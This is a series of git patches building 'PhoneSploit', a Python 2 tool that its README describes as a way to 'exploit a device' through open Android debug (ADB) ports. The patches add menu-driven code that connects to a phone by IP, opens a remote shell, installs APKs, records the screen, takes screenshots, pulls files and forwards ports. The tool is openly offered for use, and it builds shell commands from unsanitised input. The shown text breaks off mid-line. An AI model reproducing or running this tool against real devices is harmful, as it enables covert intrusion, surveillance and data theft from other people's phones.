From 8d988e28d9968c737402d7b2e7e10050e262b105 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Wed, 29 May 2019 19:59:03 -0700 Subject: [PATCH 01/36] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index cfdbd8f..3192435 100644 --- a/README.md +++ b/README.md @@ -14,5 +14,9 @@ cd PhoneSploit python2 main.py ``` + +# VIDEO +https://www.youtube.com/watch?v=6XNf9s-PZxY + # ScreenShots ![Screenshot](Screenshot.png) From 1e70ce18b49c19f62cff7bdc8cc6e78a82c21ee9 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 12:28:21 -0700 Subject: [PATCH 02/36] Add files via upload --- main_linux.py | 210 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 main_linux.py diff --git a/main_linux.py b/main_linux.py new file mode 100644 index 0000000..291d4d7 --- /dev/null +++ b/main_linux.py @@ -0,0 +1,210 @@ +# coding: latin-1 + +#Coded By Zucccs +# Enjoy + + +#============================= +#Imports +import os +import random +import time as t +from colorama import Fore, init + +#============================= +# Variables +CurrentDir = os.path.dirname(os.path.abspath(__file__)) +load_count = 0 + +#============================= +#Install Functions +# def ColoringModeStartup(): +# coloring_file = open(CurrentDir+"\\install\\coloring.txt", "a+") +# line = open(CurrentDir+"\\install\\coloring.txt", "a+").readline() +# if 'init' in line: +# init(convert=True) +# main() +# if 'false' in line: +# main() +# if "NOT_LOADED" in line: +# platform_choice = raw_input("Are you loading this script in (W)indows or (L)inux: ") +# open(CurrentDir+"\\install\\coloring.txt", "w").close() +# if platform_choice.lower() == 'w': +# coloring_file.write("init") +# else: +# coloring_file.write("false") +# yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) +# if yn == "n": +# os.system("sudo apt install adb") +# else: +# main() + +#============================= +# Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 +logo_design_1 = (''' + ____ __ _____ __ _ __ + / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ + / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \/ / __ \/ / __/ + / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ +/_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/ + /_/''') + +logo_design_2 = ''' + _____ _ _____ _ _ _ +| _ | |_ ___ ___ ___| __|___| |___|_| |_ +| __| | . | | -_|__ | . | | . | | _| +|__| |_|_|___|_|_|___|_____| _|_|___|_|_| + |_|''' + +logo_design_pre = ''' +╔═╗┬ ┬┌─┐┌┐┌┌─┐╔═╗┌─┐┬ ┌─┐┬┌┬┐ +╠═╝├─┤│ ││││├┤ ╚═╗├─┘│ │ ││ │ +╩ ┴ ┴└─┘┘└┘└─┘╚═╝┴ ┴─┘└─┘┴ ┴ ''' +logo_design_3 = logo_design_pre.decode("utf-8") + +logo_design_4 = ''' +\033[92m + +hydNNNNdyh+ + +mMMMMMMMMMMMMm+ + `dMMm\033[0m:\033[92mNMMMMMMN\033[0m:\033[92mmMMd` + hMMMMMMMMMMMMMMMMMMh + \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Expoit time :) \033[92m +\033[92m.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm. \033[0m Thanks for downloading!\033[92m +\033[92m:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: +:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: +:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: +:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM: +-MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM- + +yy+ MMMMMMMMMMMMMMMMMMMM +yy+ + mMMMMMMMMMMMMMMMMMMm + `/++MMMMh++hMMMM++/` + MMMMo oMMMM + MMMMo oMMMM + oNMm- -mMNs''' + +message = '''\n +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app +{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device +{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info +{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone +{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app + + +{0}[{1}99{0}] {2}Exit +'''.format(Fore.WHITE, Fore.RED, Fore.YELLOW) +#============================= +#Main +def main(): + global load_count + os.chdir(CurrentDir+"//adb") + while load_count == 0: + print (Fore.RED + "Starting adb server..") + os.system("adb tcpip 5555") + t.sleep(4) + os.system('cls') + os.system('clear') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print Fore.RED + banner_title + print message + load_count += 1 + option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") + if option == '1': + yn = raw_input(Fore.WHITE + "Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) + if yn.lower() == "y": + os.system("adb devices -l") + elif yn.lower() == "n": + os.system("adb devices") + elif option == '2': + os.system("adb disconnect") + elif option == '3': + print ("\nEnter a phones ip address.") + ip = raw_input (Fore.WHITE + "phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") + os.system("adb connect "+ip+":5555") + + elif option == '4': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell") + + elif option == '5': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + print ("\nEnter the apk location.") + apk_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" install "+apk_location) + print (Fore.GREEN + "Apk has been installed.") + + elif option == '6': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + print (Fore.RED + "Please wait 3m its recording") + os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") + print ("\nEnter where you would like the video to be saved.") + place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) + + elif option == '7': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") + print ("\nEnter where you would like the screenshot to be saved.") + place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) + + elif option == '8': + os.system("adb kill-server && adb start-server") + + elif option == '9': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print ("\nEnter a file location on a device") + file_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print ("\nEnter where you would like the file to be saved.") + place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) + + elif option == '10': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(device_reboot_cons) "+Fore.WHITE + "> ") + print ("\nEnter ctrl +c to stop") + os.system("adb -s "+device_name+ " reboot ") + + elif option == '11': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + print ("\nEnter a package name.") + package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" unistall "+package_name) + + elif option == '12': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") + os.system('adb -s '+device_name+" logcat ") + + elif option == '13': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" dumpsys") + + elif option == '14': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell pm list packages -f") + main() + + elif option == '15': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + print ("\nEnter a package name. They look like this --> com.snapchat.android") + package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") + main() + + + main() + + + +#============================= +# Run +main() From 7b229d4b78d1854b622530dcd17067d7b877e39f Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 12:42:19 -0700 Subject: [PATCH 03/36] Update README.md --- README.md | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3192435..a3a1f0e 100644 --- a/README.md +++ b/README.md @@ -6,17 +6,25 @@ Using open Adb ports we can exploit a device
I will soon make a tutorial on how to use PhoneSploit -# HOW TO INSTALL +# HOW TO INSTALL WINDOWS ``` -extract adb.rar to the phonesploit directory git clone https://github.com/Zucccs/PhoneSploit +extract adb.rar to the phonesploit directory cd PhoneSploit +pip install colorama python2 main.py ``` +# HOW TO INSTALL Linux +``` +git clone https://github.com/Zucccs/PhoneSploit +cd PhoneSploit +python2 main_linux.py +``` + # VIDEO -https://www.youtube.com/watch?v=6XNf9s-PZxY +[![Watch the video](https://img.youtube.com/vi/6XNf9s-PZxY/hqdefault.jpg)](https://www.youtube.com/watch?v=6XNf9s-PZxY) # ScreenShots ![Screenshot](Screenshot.png) From be8f7d1534e61a1ce524d669ac44c5f05f25d10e Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 12:43:03 -0700 Subject: [PATCH 04/36] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a3a1f0e..72612fb 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,6 @@ Using open Adb ports we can exploit a device

To find out how to access a local device --> https://www.youtube.com/watch?v=OlhCAX1qBQo -
I will soon make a tutorial on how to use PhoneSploit # HOW TO INSTALL WINDOWS ``` @@ -19,6 +18,7 @@ python2 main.py ``` git clone https://github.com/Zucccs/PhoneSploit cd PhoneSploit +pip install colorama python2 main_linux.py ``` From 1d4e2237c196da833629da77ed99be13fcd8b3cf Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 12:43:32 -0700 Subject: [PATCH 05/36] tried adding a linux version --- main_linux.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/main_linux.py b/main_linux.py index 291d4d7..8141173 100644 --- a/main_linux.py +++ b/main_linux.py @@ -207,4 +207,7 @@ def main(): #============================= # Run +yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) +if yn == "n": + os.system("sudo apt install adb") main() From 8140572e9b9f327d6a4e078bddec22b1d5c740fe Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 22:40:35 -0700 Subject: [PATCH 06/36] Update main.py --- main.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index d1fef0b..3b57e62 100644 --- a/main.py +++ b/main.py @@ -200,7 +200,9 @@ def main(): package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() - + + elif option == '99': + exit() main() From 5ef8f56604254de76c09e52a1cf096e6fc80c655 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 22:41:26 -0700 Subject: [PATCH 07/36] Update main_linux.py --- main_linux.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/main_linux.py b/main_linux.py index 8141173..9585bcd 100644 --- a/main_linux.py +++ b/main_linux.py @@ -200,6 +200,8 @@ def main(): os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() + elif option == '99': + exit() main() From 478722d33ec946db362c78f052d9ed1001c36eb6 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Thu, 30 May 2019 23:46:47 -0700 Subject: [PATCH 08/36] Add files via upload --- main.py | 12 ++++++++++-- main_linux.py | 11 +++++++++-- 2 files changed, 19 insertions(+), 4 deletions(-) diff --git a/main.py b/main.py index 3b57e62..be79211 100644 --- a/main.py +++ b/main.py @@ -91,7 +91,7 @@ def ColoringModeStartup(): {0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app -{0}[{1}99{0}] {2}Exit +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear '''.format(Fore.WHITE, Fore.RED, Fore.YELLOW) #============================= #Main @@ -200,10 +200,18 @@ def main(): package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() - + + elif option == '0': + os.system('cls') + os.system('clear') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print Fore.RED + banner_title + print message + elif option == '99': exit() + main() diff --git a/main_linux.py b/main_linux.py index 9585bcd..f174181 100644 --- a/main_linux.py +++ b/main_linux.py @@ -90,7 +90,7 @@ {0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app -{0}[{1}99{0}] {2}Exit +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear Screen '''.format(Fore.WHITE, Fore.RED, Fore.YELLOW) #============================= #Main @@ -200,7 +200,14 @@ def main(): os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() - elif option == '99': + elif option == '0': + os.system('cls') + os.system('clear') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print Fore.RED + banner_title + print message + + elif option == '99': exit() main() From 97d4832412d839932fd6ccdbea3c90bdbae63bb3 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 1 Jun 2019 12:18:43 +0500 Subject: [PATCH 09/36] Update main_linux.py --- main_linux.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main_linux.py b/main_linux.py index f174181..d475416 100644 --- a/main_linux.py +++ b/main_linux.py @@ -217,6 +217,6 @@ def main(): #============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) -if yn == "n": +if yn == "n" or yn == "N": os.system("sudo apt install adb") main() From b75dfcbdffc282dd0456b94da29b8f1fc02a428f Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sat, 1 Jun 2019 05:30:08 -0700 Subject: [PATCH 10/36] Add files via upload --- main.py | 13 +++++++++++-- main_linux.py | 24 +++++++++++++++++------- 2 files changed, 28 insertions(+), 9 deletions(-) diff --git a/main.py b/main.py index be79211..59e66b8 100644 --- a/main.py +++ b/main.py @@ -84,7 +84,7 @@ def ColoringModeStartup(): oNMm- -mMNs''' message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding {0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device {0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info {0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone @@ -200,7 +200,16 @@ def main(): package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() - + + elif option == '16': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ("\nEnter a port on the device.") + port_device = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ("\nEnter a port to forward it too.") + forward_port = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) + elif option == '0': os.system('cls') os.system('clear') diff --git a/main_linux.py b/main_linux.py index d475416..2191201 100644 --- a/main_linux.py +++ b/main_linux.py @@ -50,11 +50,12 @@ /_/''') logo_design_2 = ''' - _____ _ _____ _ _ _ -| _ | |_ ___ ___ ___| __|___| |___|_| |_ -| __| | . | | -_|__ | . | | . | | _| -|__| |_|_|___|_|_|___|_____| _|_|___|_|_| - |_|''' +██████╗ ██╗ ██╗ ██████╗ ███╗ ██╗███████╗███████╗██████╗ ██╗ ██████╗ ██╗████████╗ +██╔══██╗██║ ██║██╔═══██╗████╗ ██║██╔════╝██╔════╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ +██████╔╝███████║██║ ██║██╔██╗ ██║█████╗ ███████╗██████╔╝██║ ██║ ██║██║ ██║ +██╔═══╝ ██╔══██║██║ ██║██║╚██╗██║██╔══╝ ╚════██║██╔═══╝ ██║ ██║ ██║██║ ██║ +██║ ██║ ██║╚██████╔╝██║ ╚████║███████╗███████║██║ ███████╗╚██████╔╝██║ ██║ +╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ''' logo_design_pre = ''' ╔═╗┬ ┬┌─┐┌┐┌┌─┐╔═╗┌─┐┬ ┌─┐┬┌┬┐ @@ -83,7 +84,7 @@ oNMm- -mMNs''' message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding {0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device {0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info {0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone @@ -200,6 +201,15 @@ def main(): os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() + elif option == '16': + print ("\nEnter a device name.") + device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ("\nEnter a port on the device.") + port_device = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ("\nEnter a port to forward it too.") + forward_port = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) + elif option == '0': os.system('cls') os.system('clear') @@ -217,6 +227,6 @@ def main(): #============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) -if yn == "n" or yn == "N": +if yn == "n": os.system("sudo apt install adb") main() From 2e25206ccc4fd8c4e4fc22e0f31557190a6431bf Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sat, 1 Jun 2019 05:37:08 -0700 Subject: [PATCH 11/36] Update main_linux.py --- main_linux.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main_linux.py b/main_linux.py index 2191201..5833b45 100644 --- a/main_linux.py +++ b/main_linux.py @@ -227,6 +227,6 @@ def main(): #============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) -if yn == "n": +if yn == "n" or yn == "N": os.system("sudo apt install adb") main() From 2d0698fc357c9e275a2c41b51bc60b22c972595b Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 16:03:17 -0700 Subject: [PATCH 12/36] Fixed Typo --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.py b/main.py index 59e66b8..2ef987e 100644 --- a/main.py +++ b/main.py @@ -175,7 +175,7 @@ def main(): device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") print ("\nEnter a package name.") package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" unistall "+package_name) + os.system("adb -s "+device_name+" uninstall "+package_name) elif option == '12': print ("\nEnter a device name.") From cca457f15efb51a0dd452cea925a014f2a5f3a29 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 16:04:06 -0700 Subject: [PATCH 13/36] Fixed Typo --- main_linux.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main_linux.py b/main_linux.py index 5833b45..b3c283f 100644 --- a/main_linux.py +++ b/main_linux.py @@ -175,7 +175,7 @@ def main(): device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") print ("\nEnter a package name.") package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" unistall "+package_name) + os.system("adb -s "+device_name+" uninstall "+package_name) elif option == '12': print ("\nEnter a device name.") From adfaf69b9df5e1ea59e96a372b0acd38a2f7de42 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 16:54:24 -0700 Subject: [PATCH 14/36] Updated UI --- main.py | 113 ++++++++++++++++++++++++++++---------------------- main_linux.py | 113 +++++++++++++++++++++++++++----------------------- 2 files changed, 124 insertions(+), 102 deletions(-) diff --git a/main.py b/main.py index 2ef987e..477aa8a 100644 --- a/main.py +++ b/main.py @@ -42,6 +42,10 @@ def ColoringModeStartup(): #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 + +arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE +connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE + logo_design_1 = (''' ____ __ _____ __ _ __ / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ @@ -110,104 +114,113 @@ def main(): load_count += 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - yn = raw_input(Fore.WHITE + "Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) - if yn.lower() == "y": + yn = raw_input(Fore.WHITE + "[+] Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) + if yn.lower() == "y" or yn.lower() == "Y": os.system("adb devices -l") - elif yn.lower() == "n": + else: os.system("adb devices") elif option == '2': os.system("adb disconnect") elif option == '3': - print ("\nEnter a phones ip address.") - ip = raw_input (Fore.WHITE + "phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) + ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") elif option == '4': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell") elif option == '5': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") - print ("\nEnter the apk location.") - apk_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + print (" "+connect) + print (" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE) + apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" install "+apk_location) print (Fore.GREEN + "Apk has been installed.") elif option == '6': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") - print (Fore.RED + "Please wait 3m its recording") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + print (" "+connect) + print (" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE) + print (" "+connect) os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") - print ("\nEnter where you would like the video to be saved.") - place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + print (" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) elif option == '7': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") - print ("\nEnter where you would like the screenshot to be saved.") - place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) elif option == '8': os.system("adb kill-server && adb start-server") elif option == '9': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print ("\nEnter a file location on a device") - file_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print ("\nEnter where you would like the file to be saved.") - place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE) + file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) elif option == '10': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + 